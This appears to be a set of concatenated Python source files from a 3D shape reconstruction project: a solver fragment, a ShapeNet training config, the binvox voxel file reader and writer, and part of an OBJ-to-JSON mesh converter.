                                                [self.net.output, self.net.loss])

        # If the ground truth data is given, evaluate loss. O.w. feed zeros and
        # does not return the loss
        if y is None:
            n_vox = cfg.CONST.N_VOX
            no_loss_return = True
            y_val = np.zeros(
                (cfg.CONST.BATCH_SIZE, n_vox, 2, n_vox, n_vox)).astype(theano.config.floatX)
        else:
            no_loss_return = False
            y_val = y

        # Parse the result
        results = self._test_output(x, y_val)
        prediction = results[0]
        loss = results[1]
        activations = results[2:]

        if no_loss_return:
            return prediction, activations
        else:
            return prediction, loss, activations






from easydict import EasyDict as edict

__C = edict()
# Consumers can get config by:
#   from fast_rcnn_config import cfg
cfg = __C

#
# Common
#
__C.SUB_CONFIG_FILE = []
__C.DATASET = './experiments/dataset/shapenet_1000.json'  # yaml/json file that specifies a dataset (training/testing)
__C.NET_NAME = 'res_gru_net'
__C.PROFILE = False

__C.CONST = edict()
__C.CONST.DEVICE = 'gpu0'
__C.CONST.RNG_SEED = 0
__C.CONST.IMG_W = 127
__C.CONST.IMG_H = 127
__C.CONST.N_VOX = 32
__C.CONST.N_VIEWS = 5
__C.CONST.BATCH_SIZE = 36
__C.CONST.NETWORK_CLASS = 'ResidualGRUNet'
__C.CONST.WEIGHTS = ''  # when set, load the weights from the file

#
# Directories
#
__C.DIR = edict()
# Path where taxonomy.json is stored
__C.DIR.SHAPENET_QUERY_PATH = './ShapeNet/ShapeNetVox32/'
__C.DIR.MODEL_PATH = './ShapeNet/ShapeNetCore.v1/%s/%s/model.obj'
__C.DIR.VOXEL_PATH = './ShapeNet/ShapeNetVox32/%s/%s/model.binvox'
__C.DIR.RENDERING_PATH = './ShapeNet/ShapeNetRendering/%s/%s/rendering'
__C.DIR.OUT_PATH = './output/default'

#
# Training
#
__C.TRAIN = edict()

__C.TRAIN.RESUME_TRAIN = False
__C.TRAIN.INITIAL_ITERATION = 0  # when the training resumes, set the iteration number
__C.TRAIN.USE_REAL_IMG = False
__C.TRAIN.DATASET_PORTION = [0, 0.8]

# Data worker
__C.TRAIN.NUM_WORKER = 1  # number of data workers
__C.TRAIN.NUM_ITERATION = 60000  # maximum number of training iterations
__C.TRAIN.WORKER_LIFESPAN = 100  # if use blender, kill a worker after some iteration to clear cache
__C.TRAIN.WORKER_CAPACITY = 1000  # if use OSG, load only limited number of models at a time
__C.TRAIN.NUM_RENDERING = 24
__C.TRAIN.NUM_VALIDATION_ITERATIONS = 24
__C.TRAIN.VALIDATION_FREQ = 2000
__C.TRAIN.NAN_CHECK_FREQ = 2000
__C.TRAIN.RANDOM_NUM_VIEWS = True  # feed in random # views if n_views > 1

__C.QUEUE_SIZE = 15  # maximum number of minibatches that can be put in a data queue

# Data augmentation
__C.TRAIN.RANDOM_CROP = True
__C.TRAIN.PAD_X = 10
__C.TRAIN.PAD_Y = 10
__C.TRAIN.FLIP = True

# For no random bg images, add random colors
__C.TRAIN.NO_BG_COLOR_RANGE = [[225, 255], [225, 255], [225, 255]]
__C.TRAIN.RANDOM_BACKGROUND = False
__C.TRAIN.SIMPLE_BACKGROUND_RATIO = 0.5  # ratio of the simple backgrounded images

# Learning
# For SGD use 0.1, for ADAM, use 0.0001
__C.TRAIN.DEFAULT_LEARNING_RATE = 1e-4
__C.TRAIN.POLICY = 'adam'  # def: sgd, adam
# The EasyDict can't use dict with integers as keys
__C.TRAIN.LEARNING_RATES = {'20000': 1e-5, '60000': 1e-6}
__C.TRAIN.MOMENTUM = 0.90
# weight decay or regularization constant. If not set, the loss can diverge
# after the training almost converged since weight can increase indefinitely
# (for cross entropy loss). Too high regularization will also hinder training.
__C.TRAIN.WEIGHT_DECAY = 0.00005
__C.TRAIN.LOSS_LIMIT = 2  # stop training if the loss exceeds the limit
__C.TRAIN.SAVE_FREQ = 10000  # weights will be overwritten every save_freq
__C.TRAIN.PRINT_FREQ = 40

#
# Testing options
#
__C.TEST = edict()
__C.TEST.EXP_NAME = 'test'
__C.TEST.USE_IMG = False
__C.TEST.MODEL_ID = []
__C.TEST.DATASET_PORTION = [0.8, 1]
__C.TEST.SAMPLE_SIZE = 0
__C.TEST.IMG_PATH = ''
__C.TEST.AZIMUTH = []
__C.TEST.NO_BG_COLOR_RANGE = [[240, 240], [240, 240], [240, 240]]

__C.TEST.VISUALIZE = False
__C.TEST.VOXEL_THRESH = [0.4]


def _merge_a_into_b(a, b):
    """Merge config dictionary a into config dictionary b, clobbering the
    options in b whenever they are also specified in a.
    """
    if type(a) is not edict:
        return

    for k, v in a.items():
        # a must specify keys that are in b
        if k not in b.keys():
            raise KeyError('{} is not a valid config key'.format(k))

        # the types must match, too
        if type(b[k]) is not type(v):
            raise ValueError(('Type mismatch ({} vs. {}) '
                              'for config key: {}').format(type(b[k]), type(v), k))

        # recursively merge dicts
        if type(v) is edict:
            try:
                _merge_a_into_b(a[k], b[k])
            except:
                print('Error under config key: {}'.format(k))
                raise
        else:
            b[k] = v


def cfg_from_file(filename):
    """Load a config file and merge it into the default options."""
    import yaml
    with open(filename, 'r') as f:
        yaml_cfg = edict(yaml.load(f))

    _merge_a_into_b(yaml_cfg, __C)


def cfg_from_list(cfg_list):
    """Set config keys via list (e.g., from command line)."""
    from ast import literal_eval
    assert len(cfg_list) % 2 == 0
    for k, v in zip(cfg_list[0::2], cfg_list[1::2]):
        key_list = k.split('.')
        d = __C
        for subkey in key_list[:-1]:
            assert subkey in d.keys()
            d = d[subkey]
        subkey = key_list[-1]
        assert subkey in d.keys()
        try:
            value = literal_eval(v)
        except:
            # handle the case when v is a string literal
            value = v
        assert type(value) == type(d[subkey]), \
            'type {} does not match original type {}'.format(
            type(value), type(d[subkey]))
        d[subkey] = value












#  Copyright (C) 2012 Daniel Maturana
#  This file is part of binvox-rw-py.
#
#  binvox-rw-py is free software: you can redistribute it and/or modify
#  it under the terms of the GNU General Public License as published by
#  the Free Software Foundation, either version 3 of the License, or
#  (at your option) any later version.
#
#  binvox-rw-py is distributed in the hope that it will be useful,
#  but WITHOUT ANY WARRANTY; without even the implied warranty of
#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#  GNU General Public License for more details.
#
#  You should have received a copy of the GNU General Public License
#  along with binvox-rw-py. If not, see <http://www.gnu.org/licenses/>.
#
#  Modified by Christopher B. Choy <chrischoy at ai dot stanford dot edu>
#  for python 3 support
"""
Binvox to Numpy and back.


>>> import numpy as np
>>> import binvox_rw
>>> with open('chair.binvox', 'rb') as f:
...     m1 = binvox_rw.read_as_3d_array(f)
...
>>> m1.dims
[32, 32, 32]
>>> m1.scale
41.133000000000003
>>> m1.translate
[0.0, 0.0, 0.0]
>>> with open('chair_out.binvox', 'wb') as f:
...     m1.write(f)
...
>>> with open('chair_out.binvox', 'rb') as f:
...     m2 = binvox_rw.read_as_3d_array(f)
...
>>> m1.dims==m2.dims
True
>>> m1.scale==m2.scale
True
>>> m1.translate==m2.translate
True
>>> np.all(m1.data==m2.data)
True

>>> with open('chair.binvox', 'rb') as f:
...     md = binvox_rw.read_as_3d_array(f)
...
>>> with open('chair.binvox', 'rb') as f:
...     ms = binvox_rw.read_as_coord_array(f)
...
>>> data_ds = binvox_rw.dense_to_sparse(md.data)
>>> data_sd = binvox_rw.sparse_to_dense(ms.data, 32)
>>> np.all(data_sd==md.data)
True
>>> # the ordering of elements returned by numpy.nonzero changes with axis
>>> # ordering, so to compare for equality we first lexically sort the voxels.
>>> np.all(ms.data[:, np.lexsort(ms.data)] == data_ds[:, np.lexsort(data_ds)])
True
"""

import numpy as np


class Voxels(object):
    """ Holds a binvox model.
    data is either a three-dimensional numpy boolean array (dense representation)
    or a two-dimensional numpy float array (coordinate representation).

    dims, translate and scale are the model metadata.

    dims are the voxel dimensions, e.g. [32, 32, 32] for a 32x32x32 model.

    scale and translate relate the voxels to the original model coordinates.

    To translate voxel coordinates i, j, k to original coordinates x, y, z:

    x_n = (i+.5)/dims[0]
    y_n = (j+.5)/dims[1]
    z_n = (k+.5)/dims[2]
    x = scale*x_n + translate[0]
    y = scale*y_n + translate[1]
    z = scale*z_n + translate[2]

    """

    def __init__(self, data, dims, translate, scale, axis_order):
        self.data = data
        self.dims = dims
        self.translate = translate
        self.scale = scale
        assert (axis_order in ('xzy', 'xyz'))
        self.axis_order = axis_order

    def clone(self):
        data = self.data.copy()
        dims = self.dims[:]
        translate = self.translate[:]
        return Voxels(data, dims, translate, self.scale, self.axis_order)

    def write(self, fp):
        write(self, fp)


def read_header(fp):
    """ Read binvox header. Mostly meant for internal use.
    """
    line = fp.readline().strip()
    if not line.startswith(b'#binvox'):
        raise IOError('Not a binvox file')
    dims = [int(i) for i in fp.readline().strip().split(b' ')[1:]]
    translate = [float(i) for i in fp.readline().strip().split(b' ')[1:]]
    scale = [float(i) for i in fp.readline().strip().split(b' ')[1:]][0]
    line = fp.readline()
    return dims, translate, scale


def read_as_3d_array(fp, fix_coords=True):
    """ Read binary binvox format as array.

    Returns the model with accompanying metadata.

    Voxels are stored in a three-dimensional numpy array, which is simple and
    direct, but may use a lot of memory for large models. (Storage requirements
    are 8*(d^3) bytes, where d is the dimensions of the binvox model. Numpy
    boolean arrays use a byte per element).

    Doesn't do any checks on input except for the '#binvox' line.
    """
    dims, translate, scale = read_header(fp)
    raw_data = np.frombuffer(fp.read(), dtype=np.uint8)
    # if just using reshape() on the raw data:
    # indexing the array as array[i,j,k], the indices map into the
    # coords as:
    # i -> x
    # j -> z
    # k -> y
    # if fix_coords is true, then data is rearranged so that
    # mapping is
    # i -> x
    # j -> y
    # k -> z
    values, counts = raw_data[::2], raw_data[1::2]
    data = np.repeat(values, counts).astype(np.bool)
    data = data.reshape(dims)
    if fix_coords:
        # xzy to xyz TODO the right thing
        data = np.transpose(data, (0, 2, 1))
        axis_order = 'xyz'
    else:
        axis_order = 'xzy'
    return Voxels(data, dims, translate, scale, axis_order)


def read_as_coord_array(fp, fix_coords=True):
    """ Read binary binvox format as coordinates.

    Returns binvox model with voxels in a "coordinate" representation, i.e.  an
    3 x N array where N is the number of nonzero voxels. Each column
    corresponds to a nonzero voxel and the 3 rows are the (x, z, y) coordinates
    of the voxel.  (The odd ordering is due to the way binvox format lays out
    data).  Note that coordinates refer to the binvox voxels, without any
    scaling or translation.

    Use this to save memory if your model is very sparse (mostly empty).

    Doesn't do any checks on input except for the '#binvox' line.
    """
    dims, translate, scale = read_header(fp)
    raw_data = np.frombuffer(fp.read(), dtype=np.uint8)

    values, counts = raw_data[::2], raw_data[1::2]

    index, end_index = 0, 0
    end_indices = np.cumsum(counts)
    indices = np.concatenate(([0], end_indices[:-1])).astype(end_indices.dtype)

    values = values.astype(np.bool)
    indices = indices[values]
    end_indices = end_indices[values]

    nz_voxels = []
    for index, end_index in zip(indices, end_indices):
        nz_voxels.extend(range(index, end_index))
    nz_voxels = np.array(nz_voxels)
    # TODO are these dims correct?
    # according to docs,
    # index = x * wxh + z * width + y; // wxh = width * height = d * d

    x = nz_voxels / (dims[0] * dims[1])
    zwpy = nz_voxels % (dims[0] * dims[1])  # z*w + y
    z = zwpy / dims[0]
    y = zwpy % dims[0]
    if fix_coords:
        data = np.vstack((x, y, z))
        axis_order = 'xyz'
    else:
        data = np.vstack((x, z, y))
        axis_order = 'xzy'
    return Voxels(np.ascontiguousarray(data), dims, translate, scale, axis_order)


def dense_to_sparse(voxel_data, dtype=np.int):
    """ From dense representation to sparse (coordinate) representation.
    No coordinate reordering.
    """
    if voxel_data.ndim != 3:
        raise ValueError('voxel_data is wrong shape; should be 3D array.')
    return np.asarray(np.nonzero(voxel_data), dtype)


def sparse_to_dense(voxel_data, dims, dtype=np.bool):
    if voxel_data.ndim != 2 or voxel_data.shape[0] != 3:
        raise ValueError('voxel_data is wrong shape; should be 3xN array.')
    if np.isscalar(dims):
        dims = [dims] * 3
    dims = np.atleast_2d(dims).T
    # truncate to integers
    xyz = voxel_data.astype(np.int)
    # discard voxels that fall outside dims
    valid_ix = ~np.any((xyz < 0) | (xyz >= dims), 0)
    xyz = xyz[:, valid_ix]
    out = np.zeros(dims.flatten(), dtype=dtype)
    out[tuple(xyz)] = True
    return out

# def get_linear_index(x, y, z, dims):
# """ Assuming xzy order. (y increasing fastest.
# TODO ensure this is right when dims are not all same
# """
# return x*(dims[1]*dims[2]) + z*dims[1] + y


def write(voxel_model, fp):
    """ Write binary binvox format.

    Note that when saving a model in sparse (coordinate) format, it is first
    converted to dense format.

    Doesn't check if the model is 'sane'.

    """
    if voxel_model.data.ndim == 2:
        # TODO avoid conversion to dense
        dense_voxel_data = sparse_to_dense(voxel_model.data, voxel_model.dims)
    else:
        dense_voxel_data = voxel_model.data

    fp.write('#binvox 1\n')
    fp.write('dim ' + ' '.join(map(str, voxel_model.dims)) + '\n')
    fp.write('translate ' + ' '.join(map(str, voxel_model.translate)) + '\n')
    fp.write('scale ' + str(voxel_model.scale) + '\n')
    fp.write('data\n')
    if voxel_model.axis_order not in ('xzy', 'xyz'):
        raise ValueError('Unsupported voxel model axis order')

    if voxel_model.axis_order == 'xzy':
        voxels_flat = dense_voxel_data.flatten()
    elif voxel_model.axis_order == 'xyz':
        voxels_flat = np.transpose(dense_voxel_data, (0, 2, 1)).flatten()

    # keep a sort of state machine for writing run length encoding
    state = voxels_flat[0]
    ctr = 0
    for c in voxels_flat:
        if c == state:
            ctr += 1
            # if ctr hits max, dump
            if ctr == 255:
                fp.write(chr(state))
                fp.write(chr(ctr))
                ctr = 0
        else:
            # if switch state, dump
            fp.write(chr(state))
            fp.write(chr(ctr))
            state = c
            ctr = 1
    # flush out remainders
    if ctr > 0:
        fp.write(chr(state))
        fp.write(chr(ctr))


if __name__ == '__main__':
    import doctest
    doctest.testmod()






import fileinput
import random
import os.path
import math
import glob
# #####################################################
# Configuration
# #####################################################
ALIGN = "none"  # center centerxz bottom top none
SHADING = "smooth"  # smooth flat
TYPE = "ascii"  # ascii binary
TRANSPARENCY = "normal"  # normal invert

TRUNCATE = False
SCALE = 1.0

FRAMESTEP = 1

BAKE_COLORS = False

# default colors for debugging (each material gets one distinct color):
# white, red, green, blue, yellow, cyan, magenta
COLORS = [0xeeeeee, 0xee0000, 0x00ee00, 0x0000ee, 0xeeee00, 0x00eeee, 0xee00ee]

# #####################################################
# Templates
# #####################################################
TEMPLATE_FILE_ASCII = u"""\
{
    "metadata" :
    {
        "formatVersion" : 3.1,
        "sourceFile"    : "%(fname)s",
        "generatedBy"   : "OBJConverter",
        "vertices"      : %(nvertex)d,
        "faces"         : %(nface)d,
        "normals"       : %(nnormal)d,
        "colors"        : %(ncolor)d,
        "uvs"           : %(nuv)d,
        "materials"     : %(nmaterial)d
    },
    "scale" : %(scale)f,
    "materials": [%(materials)s],
    "vertices": [%(vertices)s],
    "morphTargets": [%(morphTargets)s],
    "morphColors": [%(morphColors)s],
    "normals": [%(normals)s],
    "colors": [%(colors)s],
    "uvs": [[%(uvs)s]],
    "faces": [%(faces)s]
}
"""

TEMPLATE_FILE_BIN = u"""\
{
    "metadata" :
    {
        "formatVersion" : 3.1,
        "sourceFile"    : "%(fname)s",
        "generatedBy"   : "OBJConverter",
        "vertices"      : %(nvertex)d,
        "faces"         : %(nface)d,
        "normals"       : %(nnormal)d,
        "uvs"           : %(nuv)d,
        "materials"     : %(nmaterial)d
    },
    "materials": [%(materials)s],
    "buffers": "%(buffers)s"
}
"""

TEMPLATE_VERTEX = "%f,%f,%f"
TEMPLATE_VERTEX_TRUNCATE = "%d,%d,%d"

TEMPLATE_N = "%.5g,%.5g,%.5g"
TEMPLATE_UV = "%.5g,%.5g"
TEMPLATE_COLOR = "%.3g,%.3g,%.3g"
TEMPLATE_COLOR_DEC = "%d"

TEMPLATE_MORPH_VERTICES = '\t{ "name": "%s", "vertices": [%s] }'
TEMPLATE_MORPH_COLORS = '\t{ "name": "%s", "colors": [%s] }'


# #####################################################
# Utils
# #####################################################
def file_exists(filename):
    """Return true if file exists and is accessible for reading.
    Should be safer than just testing for existence due to links and
    permissions magic on Unix filesystems.
    @rtype: boolean
    """

    try:
        f = open(filename, 'r')
        f.close()
        return True
    except IOError:
        return False


def get_name(fname):
    """Create model name based of filename ("path/fname.js" -> "fname").
    """

    return os.path.splitext(os.path.basename(fname))[0]


def bbox(vertices):
    """Compute bounding box of vertex array.
    """

    if len(vertices) > 0:
        minx = maxx = vertices[0][0]
        miny = maxy = vertices[0][1]
        minz = maxz = vertices[0][2]

        for v in vertices[1:]:
            if v[0] < minx:
                minx = v[0]
            elif v[0] > maxx:
                maxx = v[0]

            if v[1] < miny:
                miny = v[1]
            elif v[1] > maxy:
                maxy = v[1]

            if v[2] < minz:
                minz = v[2]
            elif v[2] > maxz:
                maxz = v[2]

        return {'x': [minx, maxx], 'y': [miny, maxy], 'z': [minz, maxz]}

    else:
        return {'x': [0, 0], 'y': [0, 0], 'z': [0, 0]}


def translate(vertices, t):
    """Translate array of vertices by vector t.
    """

    for i in range(len(vertices)):
        vertices[i][0] += t[0]
        vertices[i][1] += t[1]
        vertices[i][2] += t[2]


def center(vertices):
    """Center model (middle of bounding box).
    """

    bb = bbox(vertices)

    cx = bb['x'][0] + (bb['x'][1] - bb['x'][0]) / 2.0
    cy = bb['y'][0] + (bb['y'][1] - bb['y'][0]) / 2.0
    cz = bb['z'][0] + (bb['z'][1] - bb['z'][0]) / 2.0

    translate(vertices, [-cx, -cy, -cz])


def top(vertices):
    """Align top of the model with the floor (Y-axis) and center it around X and Z.
    """

    bb = bbox(vertices)

    cx = bb['x'][0] + (bb['x'][1] - bb['x'][0]) / 2.0
    cy = bb['y'][1]
    cz = bb['z'][0] + (bb['z'][1] - bb['z'][0]) / 2.0

    translate(vertices, [-cx, -cy, -cz])


def bottom(vertices):
    """Align bottom of the model with the floor (Y-axis) and center it around X and Z.
    """

    bb = bbox(vertices)

    cx = bb['x'][0] + (bb['x'][1] - bb['x'][0]) / 2.0
    cy = bb['y'][0]
    cz = bb['z'][0] + (bb['z'][1] - bb['z'][0]) / 2.0

    translate(vertices, [-cx, -cy, -cz])


def centerxz(vertices):
    """Center model around X and Z.
    """

    bb = bbox(vertices)

    cx = bb['x'][0] + (bb['x'][1] - bb['x'][0]) / 2.0
    cy = 0
    cz = bb['z'][0] + (bb['z'][1] - bb['z'][0]) / 2.0

    translate(vertices, [-cx, -cy, -cz])


def normalize(v):
    """Normalize 3d vector"""

    l = math.sqrt(v[0] * v[0] + v[1] * v[1] + v[2] * v[2])
    if l:
        v[0] /= l
        v[1] /= l
        v[2] /= l


def veckey3(v):
    return round(v[0], 6), round(v[1], 6), round(v[2], 6)


# #####################################################
# MTL parser
# #####################################################
def texture_relative_path(fullpath):
    texture_file = os.path.basename(fullpath.replace("\\", "/"))
    return texture_file


def parse_mtl(fname):
    """Parse MTL file.
    """

    materials = {}

    previous_line = ""
    for line in fileinput.input(fname):
        line = previous_line + line
        if line[-2:-1] == '\\':
            previous_line = line[:-2]
            continue
        previous_line = ""

        # Only split once initially for single-parameter tags that might have additional spaces in
        # their values (i.e. "newmtl Material with spaces").
        chunks = line.split(None, 1)
        if len(chunks) > 0:

            if len(chunks) > 1:
                chunks[1] = chunks[1].strip()

            # Material start
            # newmtl identifier
            if chunks[0] == "newmtl":
                if len(chunks) > 1:
                    identifier = chunks[1]
                else:
                    identifier = ""
                if not identifier in materials:
                    materials[identifier] = {}

            # Diffuse texture
            # map_Kd texture_diffuse.jpg
            if chunks[0] == "map_Kd" and len(chunks) == 2:
                materials[identifier]["mapDiffuse"] = texture_relative_path(chunks[1])

            # Ambient texture
            # map_Ka texture_ambient.jpg
            if chunks[0] == "map_Ka" and len(chunks) == 2:
                materials[identifier]["mapAmbient"] = texture_relative_path(chunks[1])

            # Specular texture
            # map_Ks texture_specular.jpg
            if chunks[0] == "map_Ks" and len(chunks) == 2:
                materials[identifier]["mapSpecular"] = texture_relative_path(chunks[1])

            # Alpha texture
            # map_d texture_alpha.png
            if chunks[0] == "map_d" and len(chunks) == 2:
                materials[identifier]["transparent"] = True
                materials[identifier]["mapAlpha"] = texture_relative_path(chunks[1])

            # Bump texture
            # map_bump texture_bump.jpg or bump texture_bump.jpg
            if (chunks[0] == "map_bump" or chunks[0] == "bump") and len(chunks) == 2:
                materials[identifier]["mapBump"] = texture_relative_path(chunks[1])

            # Split the remaining parameters.
            if len(chunks) > 1:
                chunks = [chunks[0]] + chunks[1].split()

            # Diffuse color
            # Kd 1.000 1.000 1.000
            if chunks[0] == "Kd" and len(chunks) == 4:
                materials[identifier]["colorDiffuse"] = [float(chunks[1]), float(chunks[2]),
                                                         float(chunks[3])]

            # Ambient color
            # Ka 1.000 1.000 1.000
            if chunks[0] == "Ka" and len(chunks) == 4:
                materials[identifier]["colorAmbient"] = [float(chunks[1]), float(chunks[2]),
                                                         float(chunks[3])]

            # Specular color
            # Ks 1.000 1.000 1.000
            if chunks[0] == "Ks" and len(chunks) == 4:
                materials[identifier]["colorSpecular"] = [float(chunks[1]), float(chunks[2]),
                                                          float(chunks[3])]

            # Specular coefficient
            # Ns 154.000
            if chunks[0] == "Ns" and len(chunks) == 2:
                materials[identifier]["specularCoef"] = float(chunks[1])

            # Transparency
            # Tr 0.9 or d 0.9
            if (chunks[0] == "Tr" or chunks[0] == "d") and len(chunks) == 2:
                materials[identifier]["transparent"] = True
                if TRANSPARENCY == "invert":
                    materials[identifier]["transparency"] = 1.0 - float(chunks[1])
                else:
                    materials[identifier]["transparency"] = float(chunks[1])

            # Optical density
            # Ni 1.0
            if chunks[0] == "Ni" and len(chunks) == 2:
                materials[identifier]["opticalDensity"] = float(chunks[1])

            # Illumination
            # illum 2
            #
            # 0. Color on and Ambient off
            # 1. Color on and Ambient on
            # 2. Highlight on
            # 3. Reflection on and Ray trace on
            # 4. Transparency: Glass on, Reflection: Ray trace on
            # 5. Reflection: Fresnel on and Ray trace on
            # 6. Transparency: Refraction on, Reflection: Fresnel off and Ray trace on
            # 7. Transparency: Refraction on, Reflection: Fresnel on and Ray trace on
            # 8. Reflection on and Ray trace off
            # 9. Transparency: Glass on, Reflection: Ray trace off
            # 10. Casts shadows onto invisible surfaces
            if chunks[0] == "illum" and len(chunks) == 2:
                materials[identifier]["illumination"] = int(chunks[1])

    return materials


# #####################################################
# OBJ parser
# #####################################################
def parse_vertex(text):
    """Parse text chunk specifying single vertex.
    Possible formats:
        vertex index
        vertex index / texture index
        vertex index / texture index / normal index
        vertex index / / normal index
    """

    v = 0
    t = 0
    n = 0

    chunks = text.split("/")

    v = int(chunks[0])
    if len(chunks) > 1:
        if chunks[1]:
            t = int(chunks[1])
    if len(chunks) > 2:
        if chunks[2]:
            n = int(chunks[2])

    return {'v': v, 't': t, 'n': n}


def parse_obj(fname):
    """Parse OBJ file.
    """

    vertices = []
    normals = []
    uvs = []

    faces = []

    materials = {}
    material = ""
    mcounter = 0
    mcurrent = 0

    mtllib = ""

    # current face state
    group = 0
    object = 0
    smooth = 0

    previous_line = ""
    for line in fileinput.input(fname):
        line = previous_line + line
        if line[-2:-1] == '\\':
            previous_line = line[:-2]
            continue
        previous_line = ""

        # Only split once initially for single-parameter tags that might have additional spaces in
        # their values (i.e. "usemtl Material with spaces").
        chunks = line.split(None, 1)
        if len(chunks) > 0:

            if len(chunks) > 1:
                chunks[1] = chunks[1].strip()

            # Group
            if chunks[0] == "g" and len(chunks) == 2:
                group = chunks[1]

            # Object
            if chunks[0] == "o" and len(chunks) == 2:
                object = chunks[1]

            # Materials definition
            if chunks[0] == "mtllib" and len(chunks) == 2:
                mtllib = chunks[1]

            # Material
            if chunks[0] == "usemtl":
                if len(chunks) > 1:
                    material = chunks[1]
                else:
                    material = ""
                if not material in materials:
                    mcurrent = mcounter
                    materials[material] = mcounter
                    mcounter += 1
                else:
                    mcurrent = materials[material]

            # Split the remaining parameters.
            if len(chunks) > 1:
                chunks = [chunks[0]] + chunks[1].split()

            # Vertices as (x,y,z) coordinates
            # v 0.123 0.234 0.345
            if chunks[0] == "v" and len(chunks) == 4:
                x = float(chunks[1])
                y = float(chunks[2])
                z = float(chunks[3])
                vertices.append([x, y, z])

            # Normals in (x,y,z) form; normals might not be unit
            # vn 0.707 0.000 0.707
            if chunks[0] == "vn" and len(chunks) == 4:
                x = float(chunks[1])
                y = float(chunks[2])
                z = float(chunks[3])
                normals.append([x, y, z])

            # Texture coordinates in (u,v[,w]) coordinates, w is optional
            # vt 0.500 -1.352 [0.234]
            if chunks[0] == "vt" and len(chunks) >= 3:
                u = float(chunks[1])
                v = float(chunks[2])
                w = 0
                if len(chunks) > 3:
                    w = float(chunks[3])
                uvs.append([u, v, w])

            # Face
            if chunks[0] == "f" and len(chunks) >= 4:
                vertex_index = []
                uv_index = []
                normal_index = []

                # Precompute vert / normal / uv lists
                # for negative index lookup
                vertlen = len(vertices) + 1
                normlen = len(normals) + 1
                uvlen = len(uvs) + 1

                for v in chunks[1:]:
                    vertex = parse_vertex(v)
                    if vertex['v']:
                        if vertex['v'] < 0:
                            vertex['v'] += vertlen
                        vertex_index.append(vertex['v'])
                    if vertex['t']:
                        if vertex['t'] < 0:
                            vertex['t'] += uvlen
                        uv_index.append(vertex['t'])
                    if vertex['n']:
                        if vertex['n'] < 0:
                            vertex['n'] += normlen
                        normal_index.append(vertex['n'])
                faces.append({
                    'vertex': vertex_index,
                    'uv': uv_index,
                    'normal': normal_index,
                    'material': mcurrent,
                    'group': group,
                    'object': object,
                    'smooth': smooth,
                })

            # Smooth shading
            if chunks[0] == "s" and len(chunks) == 2:
                smooth = chunks[1]

    return faces, vertices, uvs, normals, materials, mtllib


# #####################################################
# Generator - faces
# #####################################################
def setBit(value, position, on):
    if on:
        mask = 1 << position
        return (value | mask)
    else:
        mask = ~(1 << position)
        return (value & mask)


def generate_face(f, fc):
    isTriangle = (len(f['vertex']) == 3)

    if isTriangle:
        nVertices = 3
    else:
        nVertices = 4

    hasMaterial = True  # for the moment OBJs without materials get default material

    hasFaceUvs = False  # not supported in OBJ
    hasFaceVertexUvs = (len(f['uv']) >= nVertices)

    hasFaceNormals = False  # don't export any face normals (as they are computed in engine)
    hasFaceVertexNormals = (len(f["normal"]) >= nVertices and SHADING == "smooth")

    hasFaceColors = BAKE_COLORS
    hasFaceVertexColors = False  # not supported in OBJ

    faceType = 0
    faceType = setBit(faceType, 0, not isTriangle)
    faceType = setBit(faceType, 1, hasMaterial)
    faceType = setBit(faceType, 2, hasFaceUvs)
    faceType = setBit(faceType, 3, hasFaceVertexUvs)
    faceType = setBit(faceType, 4, hasFaceNormals)
    faceType = setBit(faceType, 5, hasFaceVertexNormals)
    faceType = setBit(faceType, 6, hasFaceColors)
    faceType = setBit(faceType, 7, hasFaceVertexColors)

    faceData = []

    # order is important, must match order in JSONLoader

    # face type
    # vertex indices
    # material index
    # face uvs index
    # face vertex uvs indices
    # face normal index
    # face vertex normals indices
    # face color index
    # face vertex colors indices

    faceData.append(faceType)

    # must clamp in case on polygons bigger than quads

    for i in range(nVertices):
        index = f['vertex'][i] - 1
        faceData.append(index)

    faceData.append(f['material'])

    if hasFaceVertexUvs:
        for i in range(nVertices):
            index = f['uv'][i] - 1
            faceData.append(index)

    if hasFaceVertexNormals:
        for i in range(nVertices):
            index = f['normal'][i] - 1
            faceData.append(index)

    if hasFaceColors:
        index = fc['material']
        faceData.append(index)

    return ",".join(map(str, faceData))


# #####################################################
# Generator - chunks
# #####################################################
def hexcolor(c):
    return (int(c[0] * 255) << 16) + (int(c[1] * 255) << 8) + int(c[2] * 255)


def generate_vertex(v, option_vertices_truncate, scale):
    if not option_vertices_truncate:
        return TEMPLATE_VERTEX % (v[0], v[1], v[2])
    else:
        return TEMPLATE_VERTEX_TRUNCATE % (scale * v[0], scale * v[1], scale * v[2])


def generate_normal(n):
    return TEMPLATE_N % (n[0], n[1], n[2])


def generate_uv(uv):
    return TEMPLATE_UV % (uv[0], uv[1])


def generate_color_rgb(c):
    return TEMPLATE_COLOR % (c[0], c[1], c[2])


def generate_color_decimal(c):
    return TEMPLATE_COLOR_DEC % hexcolor(c)


# #####################################################
# Morphs
# #####################################################
def generate_morph_vertex(name, vertices):
    vertex_string = ",".join(generate_vertex(v, TRUNCATE, SCALE) for v in vertices)
    return TEMPLATE_MORPH_VERTICES % (name, vertex_string)


def generate_morph_color(name, colors):
    color_string = ",".join(generate_color_rgb(c) for c in colors)
    return TEMPLATE_MORPH_COLORS % (name, color_string)


def extract_material_colors(materials, mtlfilename, basename):
    """Extract diffuse colors from MTL materials
    """

    if not materials:
        materials = {'default': 0}

    mtl = create_materials(materials, mtlfilename, basename)

    mtlColorArraySrt = []
    for m in mtl:
        if m in materials:
            index = materials[m]
            color = mtl[m].get("colorDiffuse", [1, 0, 0])
            mtlColorArraySrt.append([index, color])

    mtlColorArraySrt.sort()
    mtlColorArray = [x[1] for x in mtlColorArraySrt]

    return mtlColorArray


def extract_face_colors(faces, material_colors):
    """Extract colors from materials and assign them to faces
    """

    faceColors = []

    for face in faces:
        material_index = face['material']
        faceColors.append(material_colors[material_index])

    return faceColors


def generate_morph_targets(morphfiles, n_vertices, infile):
    skipOriginalMorph = False
    norminfile = os.path.normpath(infile)

    morphVertexData = []

    for mfilepattern in morphfiles.split():

        matches = glob.glob(mfilepattern)
        matches.sort()

        indices = range(0, len(matches), FRAMESTEP)
        for i in indices:
            path = matches[i]

            normpath = os.path.normpath(path)

            if normpath != norminfile or not skipOriginalMorph:

                name = os.path.basename(normpath)

                morphFaces, morphVertices, morphUvs, morphNormals, morphMaterials, morphMtllib = parse_obj(
                    normpath)

                n_morph_vertices = len(morphVertices)

                if n_vertices != n_morph_vertices:

                    print(
                        "WARNING: skipping morph [%s] with different number of vertices [%d] than the original model [%d]"
                        % (name, n_morph_vertices, n_vertices))

                else:

                    if ALIGN == "center":
                        center(morphVertices)
